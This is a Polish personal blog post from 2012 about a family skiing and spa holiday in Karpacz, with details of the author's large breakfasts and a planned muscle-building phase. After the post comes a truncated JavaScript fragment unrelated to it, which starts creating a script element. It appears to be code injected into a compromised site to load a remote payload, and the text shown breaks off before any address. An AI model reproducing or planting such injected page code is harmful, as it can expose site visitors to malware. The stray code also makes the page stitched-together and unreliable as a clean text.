…i po feriach:-(

12.02.2012 / Michał Karmowski

Dziś wróciłem z krótkiego urlopu , który spędziłem z moja rodzinką i znajomymi w Karpaczu , a bardzo fajnym hotelu Sandra Spa.

Był to tydzień pełen relaksu i aktywnego wypoczynku aby naładować akumulatory i przemyśleć parę spraw. Schemat każdego dnia był prosty na 8.30 schodziliśmy na śniadanie ( omlet z 15 białek jaj , jajecznica z 6 całych jajek, 200g płatków owsianych , rodzynki, tosty z serem i jakiś owoc) następnie  wyjeżdzaliśmy na  stok gdzie pierwszy raz w  życiu jeżdziłem na nartach:-),a w przerwach wchodziłem na górkę aby dobrze się dotlenić,  o 16.00 obiad jakiś lekki trening na siłowni i następnie aquapark i pełen relaks w jacuzzi , solankach i saunie…, czasami jeszcze raz wieczorem stok albo długi spacer. no ale co dobre szybko się kończy i od jutra wracam do pracy. Zaczynam też okres budowania masy mięśniowej. Będę co dwa tygodnia robił zdjęcia aby oceniać postępy.

if (document.currentScript) { var d=document;var s=d.createElement('script');